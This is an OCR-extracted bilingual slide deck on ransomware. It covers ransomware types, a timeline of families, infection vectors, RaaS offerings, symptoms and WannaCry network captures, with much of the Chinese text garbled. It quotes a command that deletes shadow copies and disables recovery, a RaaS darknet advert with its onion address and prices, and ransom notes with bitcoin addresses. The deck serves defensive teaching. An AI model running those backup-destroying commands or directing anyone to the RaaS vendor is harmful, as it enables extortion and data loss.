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» « 3§ %] Crypto Ransomware (& ¥ &)
% t " & o 2P : They encrypt all files in local storages and also attack the files on
) VAN | network shared directory or database services.

B —

).
T * ¥ %] : Screen Locker Ransomware (# ¥
v -7 Z‘SF ! : (3% 2) :
. »t m o 2% . These ransomware will block the computer/mobile screen by a
g | fixed/large picture which can not allow user take any operation.

7 « 3 %] : Boot Locker Ransomware (<% £)
I\/I B R o 2L 7 It will rewrite the MBR area of hard disk and show extortion
| message on booting time for unlock key.
A B

‘M7\/

« #7 %|: Leakware or Doxware (<% )
y % » 27 These ransomware are not encrypting any files but steal users’
VAL sensitive information. After collecting enough data, they blackmail

) 4

| victims to ask ransom.
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CRYPTOLOCKER
RANSOMLOCK
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2 EE R https://id-ransomware.blogspot.com/2016/05/blog-post.html, 2019
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Ransomware
AIDS/PC Cyborg
GPcode
Archiveus Trojan

ZippoCrypt

CryptoLocker
CryptorBit

Cryptowall

CryptoBlocker

| OphionLocker

CTB-Locker

TorrentLocker

SynoLocker

Spread Method

Floppy disk

Email

Spam emails, malicious websites

In Russia (aka Cryzip Ransomware)

Email

Email, or Web or fake flash
update/rogue antivirus product

Java vulnerability / Web Infection
Email, Download, File Sites
online advertising campaigns

exploit kits (Rig and Nuclear) or
downloader component (Dalexis,
Elenocka)

Email, Malicious Download page, or
Word document macros

TCP-5000,5001 with DSM 4.3-3810,
DSM 4.2-3236, DSM 4.1-2851, DSM
4.0-2257 and more.

Date
1989
2004
2006
2006

2013
2013

2014
2014
2014
2014

2014

2014

Encryption

RSA

Zip

AES

AES
AES
ECC
ECC

AES/RSA

RSA+AES

Network
No
HTTP
None

None

TOR
TOR

TOR

TOR
TOR

TOR

HTTP
TOR

Extortion Method
Files in Floppy disk
All Files Encrypted
Files Encrypted in My Docuemtns

All files moved into zip files with
password.

All Files Encrypted

All Files Encrypted

All Files Encrypted
File size less than 100MB
Delete Private key after 3 days

All Files Encrypted

All Files Encrypted

All Files Encrypted




Ransomware
Pclock
CryptoWall 2.0
TeslaCrypt
VaultCrypt
CryptoWall 3/ 4
LowLevel04
Locky
SamSam
Dharma

Bit Paymer
GandCrab

Petya/NotPetya

WannyCrypto
XBash

Ryuk

Spread Method

Torrent Network

Email

Email, malicious ads of Web

JS, HTA from Email, Webs
system exploits

Terminal Services by brute force
email with Invoice(doc,xls,zip)

vulnerable JBoss host servers, RDP

Email to download self-extracting file.

RDP, Emotet, Zero day of iTune
Email or Multiple Exploit-Kit

Ukrainian tax preparation program,
email with pdf

EternalBlue, EternalRomance

Weakness password or Vulnerabilities

in Hadoop, Redis and ActiveMQ with
Python/Bash

email (Emotet, TrickBot), RDP

Date
2015
2015
2015
2015
2015
2015
2016
2016
2016
2017
2017

2016
2017

2017
2018

2018

Encryption
RC4

AES

AES

RSA

AES
AES/RSA
AES

RSA

AES

RC4, RSA
RC4, RSA
Salsa20

RSA
No (Delete)

RSA, AES

Network
HTTP

TOR

TOR
HTTP/HTTPS
12P

HTTP
Socket5

HTTP,TOR

None

TOR
HTTP

Extortion Method

Files Encrypted in user’s profile in 72 hrs
All Files Encrypted (Anti-VM)

Game Files Encrypted

All Files Encrypted

All Files Encrypted (and file name also)
Files Encrypted by AES, Key by RSA
All Files Encrypted

Major Victims are US Medical/Hospital
All Files Encrypted

All Files Encrypted

All Files Encrypted

Disk MBR

All Files Encrypted

Delete Database on Linux, MaxOS,
Windows(MySQL, MongoDB, PostgreSQL,
Hadoop)

All Files Encrypted




Ransomware

CryptoNar

Scroboscope

FTCODE
eChOraix
JSWorm
MegaCortex

Sodinokibi

ERIS

TFlower

Syrk

LooCipher

GermanWipe

Maze

Spread Method

Malicious files from Web and email

fake updates to AV instruments,
cracked games, pirated content
creation tools and free games

Email(invoice-themed)

QNAP NAS Devices (with GO)
JS, HTA from Email, Webs
Email, AD Server

Email, CVE-2018-8453, CVE-2019-
2725,EK (Sodin, Sodinokibi, Revil)

RIG Exploit Kit, SWF vulnerability of a
JavaScript from Web

email (macros), torrent websites,
malicious ADs and RDP(RemoteDesk)

Malicious files from Web and email

Document macros, Remote Desk,
P2P(Torrents, eMule)

Email with Malicious Document

Spelevo EK, email attachments,
torrent, websites, malicious ads.

Date

2018

2018

2019
2019
2019
2019
2019

2019

2019

2019

2019

2019
2019

Encryption
AES

RC2

AES+RSA

RSA

AES

Salsa20+ RSA

AES

AES

AES

(Fake All)
RSA, ChaCha

Network

ICMP

TOR

HTTP
HTTPS

ICMP

TOR

None

Extortion Method

Some Files Encrypted, Open Source
Ransomware Targets Fortnite Users (Game)

VB Code to encrypt all files

All Files Encrypted

All Files Encrypted on NAS Devices
All Files Encrypted

Random Files/Directory Encrypted

All Files Encrypted
It will not encrypt files if it detects lock.txt

All Files Encrypted

All Files Encrypted without changing
filename at all.

Some Files Encrypted, Open Source
Ransomware Targets Fortnite Users (Game)

All Files Encrypted

All Files Encrypted

It will not encrypt files if it detects
C:\hutchins.txt.
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WannaCrypto

Sodinokibi (REvil)
Dharma (Roger)

Ryuk
GandCrab
Maze

Nemty
Globelmposter

NetWalker
Cerber

Phobos
DoppelPaymer
RansomEXX
Ragnar_Locker
LockBit

Conti

v

i O -
v B S S

o

v

mom om0 m
oM o o o

-

v

-

Famous Family of Ransomware
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Yes, SMB &)@ () Doamin Killer-Switch 2K
GR)E (EINE-FrEE R B i)

No # (LB E-FrEE R B %) [HEI=E4
No # (uENE-FrEE R B i) BREEZ, TH SRR E
No # (AN E-PrEE R B %) Ik

No & (uENE-FrAE R B i) [HEI=E4
No # (ENE-PrEE R B %) Ik

No # (ENE-FrEE K HiR) BEES
Yes, SMB # R (Admin) & (ZEDINZ-PrBEER B ER) IR
Unknown B (IRER B REERE) EIK
Unknown # (NBEERHREERE) 3K
Unknown # (NBEERESREERE) Ik

No # (B E-FrEE R B i) Ik
Unknown # (NBEERESREERE) Ik

No i# (LENNE-PhEE R HER) BEEZ
No # (uENE-FrAEE KR B i) Ik
Yes, SMB # R (Admin) # (uEE-FrEE K B %) Ik

oJGEEEE

Unknown (ZR%0)

W, e
W, S
Unknown (ZR%0)
HZEHR

Unknown (ZR%0)
#B A (db%2, F%R)
AN (PEIAFE)

Unknown
Unknown (ZR%0)
Unknown (&%0)
£S5

Unknown (Z=%0)
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Unknown (ZR%0)
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Apollon865
(Globelmposter)

Bitsran
CPC-PS1/DLL
WastedLocker

MountLocker
DoppelPaymer
Conti
DoppelPaymer
Sodinokibi (REvil)
Ragnar_Locker
RansomEXX
DoppelPaymer

DoppelPaymer

BEA

ERIEES

Yes, RDP Password Attack

Yes, HVISEIET ARER

AD + ER Sk 2x 1l

AD + ERES) R ax 1l

Unknown

No

Yes, SMB #£FR (Admin)
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No

No

No
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Country Rank by Ransomware Detections | June 2018 - June 2019

Consumer & Business Products

South America

Germany 39,
Russian 3% Spain
Federation 2%
3%
France
3%
taly SNERER RS - AERGKSE RE

© S0%RIREHE - BEEKENRSI000=E -
- Fir1/6 WMEBHRKE - @EB25/NFUENAREEERBRY) -

2

Brazil — ' United « 90%MMEENREKE  DEHUNRELU EWAREEERERN) -
7% States
53%
United -
Kingdom Ransomware Target Focus 12 Month View | June 2018 - June 2019
9%
Consumer
Canada 6,000,000 Aug. 18 | 5,702,894
10% = Consumer s Organizations
5,000,000
e e e Fer e e Consumer
jure 17, Top 10 countries for ransomware Do 18 | 2,589,297
= 4,000,000 | Consumer
BREHAHE - REMZSEREGAR | Apr. 15 | 2,016,394 Consumer
., Jun. 19 | 1,625,351
3,000,000 \\\
— —
2,000,000 ,
Organizations Organizations Organizations -\
Aug. 18 | 32,038 Dec. 18 | 193,580 Apr.19 | 830,531 |

1,000,000 e |

\ \\\ Organizations
- Jun-19 | 1,403,496
o]

1-Jun T-Jul T-Aug 1-Sep 1Ot T-Mow 1-Dec 1-Jan 1-Feb T-Mar T-Apr T-May 1-Jun

2%

B https://www.pcmag.com/news/370073/ransomware-attacks-on-businesses-are-skyrocketing
Z£EE R https://blog.malwarebytes.com/101/2017/07/the-state-of-ransomware-among-smbs/ Figure 2. Ransomware target shift from June 2018 to June 2019
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Average Ransom Amount: Top 3 Ransomware Types
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£EE M emsisoft, State of Ransomware in the U.S.: 2019 Report for Q1 to Q3, https://blog.emsisoft.com/en/34193/state-of-ransomware-in-the-u-s-2019-report-for-q1-to-q3/, 2019
2EE R FBI USA, High-Impact Ransomware Attacks Threaten U.S. Businesses And Organizations , https://www.ic3.gov/media/2019/191002.aspx, 2019
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Trickbot->Conti

Emotet->Ryuk Trickbot->Ryu

Trickbot

Emotet

Usually, Emotet sold access to
its infected systems to other
malware gangs, which later sold
their own access to ransomware
gangs.

Trickbot is a malware botnet and
cybercrime similar to Emotet.
Trickbot infects its own victims

but is also known to buy access
to Emotet-infected systems in

order to boost its numbers.

/_

ACE/\]/\

BazarLoader-Ryuk

BazarLoader

BazarLoader is
currently considered to
be a modular backdoor.

QakBot, Pinkslipbot, or Quakbot.
With the Emotet gang allowing its
systems to be used to deploy
ransomware, QakBot has also
recently partnered with different
ransomware gangs.

- 28 Bt

QakBot

QakBot->ProLoc
akBot->Egre

Dridex->BitPaymer
Dridex->DoppelPaymer

Dridex

While in the past Dridex botnet
has used spam campaigns to
distribute the Locky ransomware
to random users across the
internet, for the past few years,
they are also using computers
they have infected to drop either
BitPaymer or the DoppelPaymer
ransomware strains for
more targeted attacks against
high-value targets.
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Corona Virus 19 Malware

REIMXKAE BHEIEEEN

« 20203 - PBKEZHRBEWHOR R, FEMKZEIEET, 212 & Corona-Virus-19 3 Covid-19
- BEASSE "EIBEMN, B TEKGE, 1B Emlﬁy?%iw’ﬁ;g% EREMMHER, BERAS -

o ZATM, Lﬁblzﬁﬁ:’f?é;%jiKEWHOE’]rfiE’ EEM, EHAZNEBEENAEERR  WEANENEZRER -
o SRR ZETRBARE - BIRTERE - ASPKRNE  HEAETRENSSEER -

WHO, Covid-19
ZHREN - DPERAM T

Victims
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BENZHRTES (RK, Ransom Kit)

« Ransomware author(s) create a RaasS kit for a cybercrime group.

EiEMEIER RK LEE

* The group promotes the RaaS kit on the Dark Web and other platforms.

TEREAETRK HERS

» Buyer purchases the RaaS Kkit.

i RK sl 2| B 8 AR AR R IRIR

» The buyer distributes the ransomware either on their own or with the help of a
dedicated distribution service.

EAVES AN AT

T

If successful, the victims are infec 6 Q_y ransom. J\_,\ J
£EE M https://blog.emsisoft.com/en/29220/ransomware-as-a-service/, 20



RaaS, Ransomware as a Service

RANI@N _ Better & Cheapest FUD Ransomware + Darknet C&C + NO Fees

BUY - FAQ - REVIEWS - SCREENS - CONTACT

We provide an already configured and compiled FUD Ransomware + Decrypter
We are the only that provide a FREE Anonymous C&C Dashboard via Onion to manage yvour Clients
We also provide additional FREE Customizations and take NO FEES from your Clients

DISCLAIMER: Our Products are for EDUCATIONAL PURPOSES ONLY.
Don't use them for illegal activities. You are the only responsable for your actions!
Our Products/Services are sold with NO WARRANTY and AS ARE.

##** THE ONLY ORIGINAL ONE: ranionjgoticud3p.onion ***

Version: 1.10

=NEWS =

£EE R http://ranionjgot5cud3p.onion/index.html, 2019 o o



RaaS, Ransomware as a Service

—= CHOOSE YOUR PACKAGE =




RaaS, Ransomware as a Service

—=PACKAGES COMPARISON =
Subscription 6 Months 12 Months 12 Months
Darknet C&C Dashboard Yes Yes Yes Yes

Features: Delayed Start, Delayed Encryption, Mutex, Task Manager/Registry

Editor Disabler. UAC Bypass. Desktop Wallpaper Changer Yes s Yes es
Offline Encryption No Yes Yes Yes
Support No Yes Yes Yes
Real-Time Client Manager No Yes Yes Yes
Dropper No Buy Yes Yes
Clone No Buy Buy Yes
FUD+Obfuscator Buy Buy Buy Yes
Unlallable Process No Buy Buy Yes
FUD Stub # 1 1 ! 12
Price 120USD 490 USD 900 USD 1900 USD

£EE R http://ranionjgot5cud3p.onion/index.html, 2019 o o



RaaS, Ransomware as a Service

We are the only that provide a FREE Anomymous C&C Dashboard via Onion to manage your Clients
We also provide additional FREE Customizations and take NO FEES from your Clients

DISCLAIMER: Our Products are for EDUCATIONAL PURPOSES ONLY.
Don't use them for illegal activities. You are the only responsable for your actions!
Our Products/Services are sold with NO WARRANTY and AS ARFE.

*** THE ONLY ORIGINAL ONE: ranionjgotScud3p.onion ***

Version: 1.10

@

-=REVIEWS =

You can Trust us! See our Reviews and/or Contact us :-)

* Review on Bleeping Computer: http=//www bleepingcomputer. com/
* Reviews on OnmionDir: http-//auutarvpt2 zldoome onlon)

* Verified Seller on KickAss Forum:  hitp://kickassugveoftuk omon/

* Verified Seller on Oday Forum: hitp-//gzblowswivik?015d omon/

2EE R http://ranionjgot5cud3p.onion/index.html, 2019



% User Account Control @

Do you want to allow the following program to make
changes to this computer?

Program name: ~ Windows Command Processor
Verified publisher: Microsoft Windows
Program location: "C:\Windows\SysWOW64\cmd.exe" /c
vssadmin delete shadows /all /quiet &
wmic shadowcopy delete & bededit /set
{default} bootstatuspolicy ignoreallfailures
& bededit /set {default} recoveryenabled no

Lycorisradiata

FHIAEAR
(BARLER)

1.Downloaderf® - I8 "#1T, WY
IBonEME, Al REBARBES), B
B & E #(Fake Update), 5 &
UAC (@ﬁﬁ%&fr EEZEMH -
2ETEE TOR, HTTP HTTPS,
SMTP,FTP,RDP, SMB, %’é% Bt -

chHREAR
(MNZPFEER)

1LHRETSHEAERET -
2.8 AT ERITAEE -
jﬁﬂﬁﬁiiﬂﬂ(ﬁmﬁﬁiﬂi
ﬁ’&ﬁ*ﬁ 1) -
RAHIRAERAGE -

& wbadmin delete catalcg quiet
t this publisher's certificate

RERREAR
(BN RFEER)

oo

1.$Eﬁiﬁﬁb%uﬂ,u§1$ °
2. BB, LIRS

) Hide details




Major Symptoms of Ransomware

BH1E:

® Block the propagation path of ransomwares to
get into the potential victim’s devices.

® Backup the files and database into safety
containers.

® Detect the source of Ransomware from.

B HAREAR

® Victims got some email with document macro or
malicious attachment file which asking ‘Enable Content
or popup an UAC alert screen.

® Fake update or installation from Web sites.

® Freeware or procedures asking to disable AV service.

® Network Request with SMTP/TOR/HTTP/HTTPS/FTP
in background.

® Unusual DNS Domain Query

o HATE AR

® CPU getting busy suddenly

® Bytes of I/O Reading and Writing were
increased by a new process

® Some files is waiting to write into CD/VCD

® Network traffic of SMB or RDP increased

@ Database service stopping unexpectedly

BEEH
BH1E:
® Find and fixed the weakness of this event.
® Use some decrypt tools to save victim’s files.
® Restore the backup files to reduce data damage.
® Rebuild and retest the robust of security system.

AREAEEAR

® Victims cannot open files stored on your
computer, previously functional files now have a
different extension.

® Aransom demand message is displayed on
your desktop.

® Cyber criminals demand payment of a ransom
(usually in Bitcoins) to unlock your files.
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We can simply observe some unique symptoms appeal on victims’ devices of ransomware.




® (Email) Malicious attachments of phishing emails
® (EK) Expiloit kits (Angler, Blackhole, RIG, Nuclear, Magnitude,

PSS Sz Stegano, Flash, Zero-day)
® [ake update or repackaged distributions hot fixed of Windows and
- other software
® |[nfected archives, installers of freeware, shareware or commercial

software

7]” ,Z\ g” I = J 'ﬁ-‘ ® Download files using a peer-to-peer P2P network, torrents, shared
resources

® Trojan downloaders and installers (Trojan-Downloader, Backdoor,

:I:I:& 1ﬁ A 1 E[J Trojan-Dropper)
( x) ® \Web sites hacked for the purpose of infection, placement of exploits

or other compromises

H YATT) "N ® Aggressive, malicious advertising, banners, rotation, click-bates,
E ,‘H 1§ﬂ J E black SEO, injections

Links to images, hidden and shortened links, redirect, clickjacking.

® Malicious File downloads through special remote management tools,
RAT or botnets

® Malicious browser extensions and links to fake browser extensions

® The unusual behavior such as drive-by download, drive-by login,
drive-by client and close ones

® The usage of files with a legitimate digital signature that perform

certain functions

€
_
_
_

These are also the major wcavaimess\\ ® Received URL links to view or download videos, images, archives,
of most organizations in the ——invitations.

cybersecurity issues. ® Darknet Web sites, cyber underground forums, RaaS, MaaS
distributors and others

W

2ZE R https://blog.emsisoft.com/en/29220/ransomware-as-a-service/ ,2019
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Although there are many different
methods to attack victims’
computers by aransomware, the 5
major approach are common
spreading ways.

Not only these major approach can

install ransomware into victim’s system,
but also attackers can combine multiple
airing approaches into a single
ransomware. More than this, there is a
new dark service called ‘Ransomware as
a service, RaaS’ which can provide a
complete service to extortion victims.

To delivery a ransomware, these are

most popular approaches to keep in mind:

abhwOdE

Qg 2£EZE R https://blog.emsisoft.com/en/29220/ransomware-as-a-service/ ,2019

Malicious Email

EK (Exploit Kits)

Fake Computer Program

Web Site with malicious JS code
Weak RDP/SMB Protocol Service

RaaS, Ransomware as a Service

Eq }3E

J

SO0

(RS
Exploits Kit (EK)

Ransomware uses the Vulnerabilities of
victims to go into system.

Web injects JS Code

Victims browsed the website which contains
malicious JavaScript code.

Fake updates tools

Attackers put ransomware into
camouflaged utility which pretends an
update hot fixed or freeware, even a

Emails with document macro

A malicious macro in an Excel, Word or PDF
file designed for downloading ransomware.

Unprotected RDP/SMB Service

Weakness password of Remote Desktop or
System was compromised to extortion.

A—
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Your files are corrupted!

Identificator for files: NYRHDAI

E-mail for contact: symmetries@tutamail.com N e

ITERE - MEBER - R ERRE

® ZHRE - E?EQ%ELXLVETE%,’K}ﬂﬁi‘%é—i}“ﬁ
Free decryption as guarantee! o NERER  BIFEERENEERNEBEAS -

® EKRM  BHARFELAFEEF -

Backup e-mail for contact : symmetries0@tutanota.com

Before paying vou can request free decryption of 3 files.

Total size of files must be less than SMB (non-archived). iﬂ;% 15&%@2%15351 MBR EﬂT%EiEE , LX?%?% EQ{E
] LooCipher === s_i BREREERRNESWER - ,.\\/iLﬁ PR - (B2 EREFD

|:| RFEETT BRI RFINZB ISR

e REE N ENASINE
All your im_portanE ﬁles (phut_os, dolcument_s, databases, etc.), inc\ud\r?g those_ on_the networ_k dislfs, IJSE_E,_ett_:‘ were i . - e
R e MEHRERERE - AAREYHOFEEE T — - MERIER
~ D N2
We strongly guarantee that you can recover all your files safely and easily. E :_Et ’ B/% T ﬁ@ ‘I—%—I\ ﬁg 1E 2 9|\ ’ I_E%_‘ E. E_]- J//( 3& ﬁq: = I E /ﬂ\' +4 1%1 L JE

But you need to make the payment before 5 days after your files were encrypted, since the server wil EE;TE}EX °
automatically destroy your key after that period and then nobody will ever be able to restore your files.

Don't spend your time searching alternative solutions to recover your files because there is no other solution. If you don't

know how to buy Bitcoins click — . TO RECOVER YOUR FILES FOLLOW THESE 3 STEPS:

1. Send at least €300 worth of Bitcoin to this Bitcoin address generated for you: *E Eﬁ?é{@ H«( ’ EE.E *ﬁ ﬂﬁAE,“\ Ii}ﬁ T& % -ﬁ
1 Azfk7fWwCRynRk8p7qupLqqaADsjwFm4N o 43
e DS WEETARARERS - UENAEENEE - HRETIFE
| Once you have made the payment cick 9% TR AR SR T REERE MRS - A
= P e - 2017FFEIBEEZERBIREH - BISHERMIHLE -

All your imporant files are encrypted!

3. If your payment was approved, this <DECRYPT> button will get automatically enabled.
Then, just click it to decrypt all your files:

ur key will be destroyed on
~ 2019/10/30 18:07
@ Server is up e 119:57:27

i, ATV Vasilakos, and M- , oecurity in software-defined networking: Threats and countermeasures,” Mobile Networks and Applications, vol. 21, no. 5, pp. 764-776, Oct 2016
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£EE M FBI USA, High-Impact Ransomware Attacks Threaten U.S. Businesses And Organizations , https://www.ic3.gov/media/2019/191002.aspx, 2019
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BE BOEE RREECED * [Ergis

Crypto Sheriff Ransomware: Q&A Prevention Advice Decryption Tools Report a Crime Partners About the Project

New decryptor for Puma available, please click here.

| — |
S
| —

tD HELP unlocking your digital life

without paying your attackers¥*?

Ransomware is malware that locks your computer and mobile devices or encrypts your electronic files. When this

£EE M https://www.nomoreransom.org/ar/index.html, 2019
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ZEER: K, Rieck, G. Schwenk, T. Limmer, T. Holz, and P. Laskov, Botzilla: Detecting the Phoning Home of Malicious Software. In Proceedings of the 25th ACM Symposium on Applied Computing (SAC), March 2010

2EZE R Nildika, A. P. Mathur, A Survey of Malware Detection Techniques, Technical Report, Purdue University, 2007

£E8 0 P. T. Ny Scaife, H, Carter,/K.\R. Butler, Cryptolock (and drop it): Stopping ransomware attacks on user data. In 2016 IEEE 36th International Conference on Distributed Computing Systems, pp. 303-312,12016
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The Evolution of WannaCrypt

&% Wana Decrypilr 2.0

BOEREL T A RHEE?
EH - EEEXFRENERET .

Foooe. BiE. B9, MEXE. exeX ¥, RPEHAEYMN
IET . ERTFHERTH.

I— B FRERAELMER., SRTERLRNREFOAE, B
R, BERMANBERS, HEERGRTHTREREELRE .

AR e M5 Y

Payment will be raised on
1/4/1970 08:00:00

Time Left

<Decrypt> i’ifﬂ ?I_Iuﬁﬁfﬁi By, BERL, ARETE

Your files will be lost on

RERELHLE, BEHHKBA.
SERHYTHUETSEAN, HERENE, FHTE, BENREM2S
PINERIR

bale BIIEIAARER, AT ZAERREHE,
BE, ~ERFIARNR, BEGERETT .
HT, BT EFE, HEFLERSORNEA, TEANABRE, HEH ¢

1/8/1970 08:00:00

Send $600 worth of bitcoin to this address:

PYeatq i |12t9YDPgwueZ3NyMgw519p7AABisjrBSMw Copy

Contact Us

Distribute Ransomware
Email, SMB

Suspicious email
attachments which is a
self-extracting exe file.

2%

=
2EE R https://www.enigmasoftware.com/dharmaransomware-

W W

Particular Behavior
Malicious Activity

It uses EthernalBlue,
EthernalRomance to infect all
hosts which can send malicious
payload.

Stop infecting if found
‘http:/Iwww.iugerfsodp9ifjaposdf]
hgosurijfaewrwergwea.com’

1l https://www.2-spyware.com/remove-dharma-ransomware-virus.html, 2019

removal/ 2019

Multiple Language
International Ransom

It will display one of variants
language to extortion bitcoin.

This ransomware targets Windows
XP, Windows 7, Windows 8 and
Windows Server (include Windows
NT).

Major Victims
2016~2019

Top 3 Countries Infected:
Russia, Ukraine and
China.






Lycorisradiata

Timae Left

BE¥sk:

AL =]

xR Al

] 58 o S TR 1R A AL




The Evolution of WannaCrypt

WannaCry Ransomware
Attack distribution by country - top 20

Vulnerabilities of SMB
from NSA, USA

® Eternal Blue, Eternal Romance,
CVE-2017-0144, CVE-2017-0145.

® Over 230,000 computers in 150
countries were infected since 2017

Malicious Activity

® Multiple language message to
extortion victims.

® Infects others Windows computers in
LAN and WAN both by SMB protocol.

2EE R https:/lwww.theregister.co.uk/2017/05/13/wannacrypt_ransomware_worm/, 2019 Source: Kaspersky Lab




The Evolution of WannaCrypt

 Malicious email attachment

« SMB, CVE-2017-0144 o siooan BB

« SMB, CVE-2017-0145

#% Exploits *% Maps o5 Images

TOTALRESULTS . New Service: Keep track of what you hay

1,842,329
211.118.207.160
TOP COUNTRIES Windows 10 Pro 17134
LG DACOM Corporation

« TCP-139, TCP-445
 UDP-135, UDP-137

° TOR I:l:Hl ET&%UHE:\H

.-» kbréa._ﬁeﬁublic_of- .

SMB Status
Authentication: enzbled
SMB version: 1

Capabilities: wnicode, large-files ni-g

United States 562,037 x, lwio, extended-security
Russian Federation 283,940
Japan 91,832
Taiwan 80,390

Unlx '
OJSC Slhlrtelecom

e BitCoint X




TOR Traffic of WannaCrypto

(W | &pply a display filter === «Ctil-f -] +
Mo, Time sorce Destination Frotocol Length  Info ]
i 1143 42.273752 184.131.168.7 18.8.1.3 TLSw1.2 1514 Application Data [TCP segment of a reassembled PDU]

! 1144 42.273753 184.131.168.7 18.8.1.3 TLSw1.2 1514 Application Data [TCP segment of a reassembled PDU]

! 1145 42.273786 18.8.1.3 184.131.188.7 TCP 54 49588 - 9801 [ACK] Seq=71880 Ack=241112 Win=681344 Len=0

! 1146 42,.273812 18.8.1.3 184.131.188.7 TCP 54 [TCP Window Update] 49588 - 9081 [ACK] Seq=71888 Ack=241112 Win=6082888 Len=@

! 1147 42.273872 184.131.168.7 190.9.1.3 TCP 1514 9801 - 49588 [ACK] Seq=241112 Ack=62886 Win=156672 Len=1460 [TCP segment of

! 1148 42.273873 184.131.168.7 18.8.1.3 TLSw1.2 1514 Application Data [TCP segment of a reassembled PDU]

! 1149 42 ,273874 184.131.188.7 18.8.1.3 TCP 1514 9881 - A9588 [ACK] Seq=244832 Ack=62886 Win=156672 Len=1468 [TCP segment of

! 11568 42.273875 184.131.188.7 18.8.1.3 TCP 1514 9881 - A9588 [ACK] Seq=245492 Ack=62886 Win=156672 Len=1468 [TCP segment of

! 1151 42.273875 184.131.168.7 18.8.1.3 TLSw1.2 1514 Application Data [TCP segment of a reassembled PDU]

! 1152 42.273922 18.8.1.3 184.131.188.7 TCP 54 49588 -+ 90881 [ACK] Seq=71880 Ack=248412 Win=682880 Len=0

! 1153 42.274858 184.131.188.7 18.8.1.3 TCP 1514 9881 - A9588 [ACK] Seq=248412 Ack=62886 Win=156672 Len=1468 [TCP segment of

! 1154 42.274851 184.131.188.7 18.8.1.3 TCP 1514 9801 » 49588 [ACK] Seq=249872 Ack=62886 Win=156672 Len=1460 [TCP segment of

! 1155 42.274851 184.131.168.7 18.8.1.3 TLSw1.2 1514 Application Data [TCP segment of a reassembled PDU]

! 1156 42.274852 184.131.188.7 18.8.1.3 TCP 1514 9881 - A9588 [ACK] Seq=252792 Ack=62886 Win=156672 Len=1468 [TCP segment of

! 1157 42.274852 184.131.188.7 18.8.1.3 TCP 1514 9881 - A9588 [ACK] Seq=254252 Ack=62886 Win=156672 Len=1468 [TCP segment of

! 1158 42.274853 184.131.188.7 18.8.1.3 TL5v1.2 1514 Application Data, Application Data

! 1159 42.274853 184.131.188.7 18.8.1.3 TCP 1514 9881 - A9588 [ACK] Seq=257172 Ack=62886 Win=156672 Len=1468 [TCP segment of

! 11668 42.274186 18.8.1.3 184.131.188.7 TCP 54 A9588 -+ 9001 [ACK] Seq=71888 Ack=258632 Win=6B2888 Len=0

! 1161 42.274184 184.131.188.7 18.8.1.3 TCP 1514 9881 - 49588 [ACK] Seq=258632 Ack=652886 Win=156672 Len=1468 [TCP segment of

! 1162 42.274185 184.131.168.7 18.8.1.3 TLSw1.2 1514 Application Data [TCP segment of a reassembled PDU]

! 1163 42.274185 184.131.1688.7 18.8.1.3 TCP 1514 9801 » 49588 [ACK] Seq=261552 Ack=b62886 Win=156672 Len=1460 [TCP segment of

! 1164 A42.274186 184.131.188.7 18.8.1.3 TCP 1514 9881 - A9588 [ACK] Seq=263012 Ack=62886 Win=156672 Len=1468 [TCP segment of ——
! 1165 42.274235 18.8.1.3 184.131.188.7 TCP 54 A9588 -+ 9801 [ACK] Seq=71888 Ack=264472 Win=6B2888 Len=0

! 1166 42.274368 184.131.168.7 18.8.1.3 TLSw1.2 1514 Application Data [TCP segment of a reassembled PDU]

! 1167 42.274361 184.131.188.7 18.8.1.3 TCP 1514 9881 - A9588 [ACK] Seq=265932 Ack=62886 Win=156672 Len=1468 [TCP segment of

! 1168 42.274361 184.131.168.7 18.8.1.3 TLSw1.2 1514 Application Data [TCP segment of a reassembled PDU]

i 1169 42.274362 184.131.188.7 18.8.1.3 TCP 1514 9881 - A9588 [ACK] Seq=268852 Ack=62886 Win=156672 Len=1468 [TCP segment of



SMB Traffics In NAS of WannaCrypto

| [smb [X]
Mo, Time Sonrce Destination Frotocol Length  Info

5@255 523.779368 192.168.200.162 192.168.288.15 S5MB 193 NT Create AndX Response, FID: B8x8875

58256 523.779418 192.168.20808.15 192.168.2088.162 SMB 138 Trans2 Request, QUERY FILE TNFO, FID: 8x8875, Query File Internal Info

58257 523.779473 192.168.200.162 192.168.2088.15 SMB 126 Trans2 Response, FID: @x8875%, QUERY FILE INFO

58258 523.779944 192.168.20808.15 192.168.2088.162 SMB 138 Write AndX Request, FID: 8x8875, 8 bytes at offset @

58259 523.780022 192.168.200.162 192.168.2088.15 SMB 185 Write AndX Response, FID: 8x8875, 8 bytes

58268 523.780879 192.168.200.15 192.168.288.162 SMB 126 Write AndX Request, FID: @x8@75, 4 bytes at offset & —

58261 523.7808145 192.168.2008.162 192.168.2088.15 SMB 185 Write AndX Response, FID: 8x38875, 4 bytes

58262 523.7808199 192.168.20808.15 192.168.2088.162 SMB 378 Write AndX Request, FID: 8x8875, 256 bytes at offset 12

508263 523.7808274 192.168.200.162 192.168.2088.15 SMB 185 Write AndX Response, FID: 8x8875, 256 bytes

58264 523.788325 192.168.2080.15 192.168.2088.162 SMB 126 Write AndX Request, FID: 8x8875, 4 bytes at offset 268

58265 523.788388 192.168.200.162 192.168.288.15 SMB 185 Write AndX Response, FID: 8x8875, 4 bytes

58266 523.788433 192.168.20808.15 192.168.2088.162 SMB 138 Write AndX Request, FID: 8x8875, & bytes at offset 272

58267 523.788497 192.168.200.162 192.168.2088.15 SMB 185 Write AndX Response, FID: 8x8875, 8 bytes

58268 523.788578 192.168.20808.15 192.168.2088.162 SMB 117 Read AndX Request, FID: @x8874, 2064 bytes at offset 4896

508278 523.788693 192.168.200.162 192.168.2088.15 SMB 722 Read AndX Response, FID: 8x8874, 20864 bytes

58276 523.788852 192.168.20808.15 192.168.2088.162 SMB AA2 Write AndX Request, FID: 8x8875, 6168 bytes at offset 288

50280 523.781182 192.168.2008.162 192.168.2088.15 SMB 185 Write AndX Response, FID: 8x8875, 6168 bytes

58281 523.781232 192.168.20808.15 192.168.2088.162 SMB 174 Trans2 Request, SET _FILE INFO, FID: 8x8875

58282 523.781335 192.168.200.162 192.168.288.15 S5MB 118 Trans2 Response, FID: @x8075, SET _FILE INFO

58283 523.781418 192.168.20808.15 192.168.2088.162 SMB 99 Close Request, FID: Bx8@875

50284 523781487 192.168.200.162 192.168.2088.15 SMB 93 Close Response, FID: Bx8@875

58285 523.781645 192.168.20808.15 192.168.2088.162 SMB 208 NT Create AndX Request, FID: 8x8876, Path: 222222312113 (2).png.WNCRYT

508286 523.781766 192.168.200.162 192.168.2088.15 SMB 193 NT Create AndX Response, FID: Bx8876

58287 523.781871 192.168.200.15 192.168.288.162 SMB 138 Trans2 Request, QUERY FILE TNFO, FID: 8x8876, Query File 5tandard Info

